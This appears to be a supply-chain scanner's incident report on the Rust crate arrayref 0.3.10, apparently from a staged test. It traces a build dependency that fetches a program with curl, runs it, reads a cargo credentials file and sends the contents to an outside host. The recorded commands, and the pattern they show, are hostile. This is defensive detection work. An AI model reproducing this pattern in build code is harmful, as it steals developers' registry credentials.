Skip to content
Open-Source Registry

Incidents / cargo/arrayref / 0.3.10

cargo/arrayref 0.3.10

bitbison: flagged, behavior flagged, dependencies clean, posture not checked, pipeline clean RiskcriticalVulnsnone
processes
127
operations
2.0K
packages
5
compiler runs
3
connections
2
capture
48 KB
records
4.1K
bytes / record
11.8

Build behaviourundeclared fetchread credentialsfetched outside the registry

run arrayref-0.3.10 · built 2026-10-14 · complete

Artifact

binary · retained · product · graph v2
1

Checks

8 of 14 clear · 3 not checked Network activity Sensitive data access and transfer +1 more
Build behavior▲▲✓✓▲✓✓✓
Supply chain○○○✓✓
Pipeline✓

Detections

4
  • Credential store contents reached a network peer
    18.238.80.121:80 › 18.238.80.121:80
    critical
  • Build script ran a program it downloaded
    proc-macro1 0.1.0 › 18.238.80.69:443
    high
  • Credential store read by build-time code
    proc-macro1 0.1.0
    high
  • Build script fetched what the build compiled, linked or ran
    proc-macro1 0.1.0 › 18.238.80.69:443, 18.238.80.121:80
    high

Detection

criticalwitnessed

Credential store contents reached a network peer

Possible credential exposure

Subject
18.238.80.121:80
Destination
18.238.80.121:80
Jobs
build
Rule
secret-exfil · arrayref-0.3.10

Witness chain

  1. /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/.cargo/credentials.toml
    source
  2. 18.238.80.121:80via /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80
    • Sensitive-file read linked to a network connectionfrom /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/.cargo/credentials.toml

      Credential store contents linked to this connection through build-time code: /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/.cargo/credentials.toml

    sink
  3. arrayref_demo-aae5e5ef1789e531build
    artifact

Evidence

  • Credential store contents linked to this connection through build-time code: /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/.cargo/credentials.toml

Processes

build

systemd›sshd:›sshd-session:›…›build-script-build›rust-setup

Ran
/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80
Invoked by
/usr/lib/systemd/systemd
Lineage · 12 processes
  1. systemd/usr/lib/systemd/systemd1
  2. sshd:sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups1084
  3. sshd-session:sshd-session: bb [priv]1844
  4. sshd-session:sshd-session: bb@notty1912
  5. sudosudo1913
  6. shsh1915
  7. runuserrunuser -u bb -- sh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct1946
  8. shsh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct1947
  9. python3python3 scenario.py --variant direct1948
  10. cargocargo build --offline --locked --manifest-path /home/bb/work/arrayref-0.3.10/Cargo.toml --target-dir /home/bb/work/arrayref-0.3.10/target/direct1952
  11. build-script-build/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build-script-build2058
  12. rust-setup/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:802062

Remediation

Treat the credential as exposed: revoke or rotate it, then remove the build-time code that sent it. The witness chain names the file, the processes that carried its bytes and the destination.

Detection

highwitnessed

Build script ran a program it downloaded

Unexpected build script activity

Subject
proc-macro1 0.1.0
Destination
18.238.80.69:443
Jobs
build
Rule
buildscript · arrayref-0.3.10

Witness chain

  1. 18.238.80.69:443
    source
  2. /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setupvia curl --disable --fail --silent --show-error --noproxy * --proto =https --connect-timeout 5 --max-time 20 --max-filesize 1048576 --header Host: example.com --out
    • Build-time code ran a program downloaded during the buildfrom 18.238.80.69:443by rust-setup

      ran /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup, downloaded during the build by curl from 18.238.80.69:443

    subject
  3. arrayref_demo-aae5e5ef1789e531build
    artifact

Evidence

  • ran /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup, downloaded during the build by curl from 18.238.80.69:443

Processes

build

systemd›sshd:›sshd-session:›…›build-script-build›rust-setup

Ran
/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80
Invoked by
/usr/lib/systemd/systemd
Lineage · 12 processes
  1. systemd/usr/lib/systemd/systemd1
  2. sshd:sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups1084
  3. sshd-session:sshd-session: bb [priv]1844
  4. sshd-session:sshd-session: bb@notty1912
  5. sudosudo1913
  6. shsh1915
  7. runuserrunuser -u bb -- sh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct1946
  8. shsh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct1947
  9. python3python3 scenario.py --variant direct1948
  10. cargocargo build --offline --locked --manifest-path /home/bb/work/arrayref-0.3.10/Cargo.toml --target-dir /home/bb/work/arrayref-0.3.10/target/direct1952
  11. build-script-build/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build-script-build2058
  12. rust-setup/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:802062

Remediation

A dependency's build downloaded a program and ran it, outside anything the registry checksums. Review what the program did, rotate any credential the build could read, and pin or replace the dependency.

Detection

highwitnessed

Credential store read by build-time code

Subject
proc-macro1 0.1.0
Reaches
arrayref_demo-aae5e5ef1789e531build
Jobs
build
Rule
credential-read · arrayref-0.3.10

Evidence

  1. Credential store read by build-time codecause

    Credential store read by build-time code that does not own it: /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/.cargo/credentials.toml

    source /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/.cargo/credentials.toml

    by /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80

Processes

build

systemd›sshd:›sshd-session:›…›build-script-build›rust-setup

Ran
/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80
Invoked by
/usr/lib/systemd/systemd
Lineage · 12 processes
  1. systemd/usr/lib/systemd/systemd1
  2. sshd:sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups1084
  3. sshd-session:sshd-session: bb [priv]1844
  4. sshd-session:sshd-session: bb@notty1912
  5. sudosudo1913
  6. shsh1915
  7. runuserrunuser -u bb -- sh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct1946
  8. shsh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct1947
  9. python3python3 scenario.py --variant direct1948
  10. cargocargo build --offline --locked --manifest-path /home/bb/work/arrayref-0.3.10/Cargo.toml --target-dir /home/bb/work/arrayref-0.3.10/target/direct1952
  11. build-script-build/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build-script-build2058
  12. rust-setup/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:802062

Remediation

Build-time code has no business reading a credential store it does not own. Review the build script or compiler plugin that read it, and rotate the credential if the read is not explained.

Detection

highwitnessed

Build script fetched what the build compiled, linked or ran

Unexpected network connection

Subject
proc-macro1 0.1.0
Destination
18.238.80.69:443, 18.238.80.121:80
Reaches
arrayref_demo-aae5e5ef1789e531build
Jobs
build
Rule
egress

Evidence

  1. Connection outside the process’s allowed destinationscause

    connection to 18.238.80.69:443, opened by curl

    subject 18.238.80.69:443

    by curl --disable --fail --silent --show-error --noproxy * --proto =https --connect-timeout 5 --max-time 20 --max-filesize 1048576 --header Host: example.com --out…

  2. Connection outside the process’s allowed destinationscause

    connection to 18.238.80.121:80, opened by rust-setup

    subject 18.238.80.121:80

    by /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80

  3. What a build script's fetch becamesupport

    1 file came down; the build compiled or linked and ran rust-setup

  4. Data sent; no reply recordedsupport

    subject 18.238.80.121:80

    by /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80

  5. Connection opened by a build script or child processsupport

    the opener descends from the build script at /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build_script_build-32ce5f297d03aac0

  6. Tool commandsupport

    Command: curl --disable --fail --silent --show-error --noproxy * --proto =https --connect-timeout 5 --max-time 20 --max-filesize 1048576 --header Host: example.com --out…

    by curl --disable --fail --silent --show-error --noproxy * --proto =https --connect-timeout 5 --max-time 20 --max-filesize 1048576 --header Host: example.com --out…

  7. Tool commandsupport

    Command: /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80

    by /home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-3e25e002586d1ae8/out/fixture-2058/rust-setup example.com:80

Processes

build

systemd›sshd:›sshd-session:›…›build-script-build›curl

Ran
curl --disable --fail --silent --show-error --noproxy * --proto =https --connect-timeout 5 --max-time 20 --max-filesize 1048576 --header Host: example.com --out…
Invoked by
/usr/lib/systemd/systemd
Lineage · 12 processes
  1. systemd/usr/lib/systemd/systemd1
  2. sshd:sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups1084
  3. sshd-session:sshd-session: bb [priv]1844
  4. sshd-session:sshd-session: bb@notty1912
  5. sudosudo1913
  6. shsh1915
  7. runuserrunuser -u bb -- sh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct1946
  8. shsh -c cd '/home/bb/work/arrayref-0.3.10' && HOME='/home/bb/work' python3 scenario.py --variant direct1947
  9. python3python3 scenario.py --variant direct1948
  10. cargocargo build --offline --locked --manifest-path /home/bb/work/arrayref-0.3.10/Cargo.toml --target-dir /home/bb/work/arrayref-0.3.10/target/direct1952
  11. build-script-build/home/bb/work/arrayref-0.3.10/target/direct/debug/build/proc-macro1-32ce5f297d03aac0/build-script-build2058
  12. curlcurl --disable --fail --silent --show-error --noproxy * --proto =https --connect-timeout 5 --max-time 20 --max-filesize 1048576 --header Host: example.com --out…2060

Remediation

A dependency's build downloaded files the build then compiled, linked or ran, outside anything the registry checksums. Review what came down, pin or replace the dependency, or record the download as accepted once it is reviewed.

Network

2 peers
  • 18.238.80.121:80 cargo/arrayref's own build code · rust-setup (arrayref-0.3.10) undeclared
  • 18.238.80.69:443 cargo/arrayref's own build code · curl · 1 file undeclared
Dependencies8Build behaviour
ld-linux-x86-64.so.2system library
libc.so.6system library
libgcc_s.so.1system library
libm.so.6system library
libmvec.so.1system library
arrayref0.3.10
arrayref-demo0.1.0
proc-macro10.1.0build scriptproc macronetworkruns tools18.238.80.121, 18.238.80.69, curl
Versions1RiskVulnsPublished
0.3.10criticalnone

Raw data

capture
48 KB
records
4,067
bytes per record
11.8

Loading a sample of the capture

Want to see more? E-mail us at hello@bitbison.io about your use case.

1 of 1 jobs captured: build success · Generated 2026-10-13 · run arrayref-0.3.10

analysis 0.1.0+g0b1984d463f5 · graph v2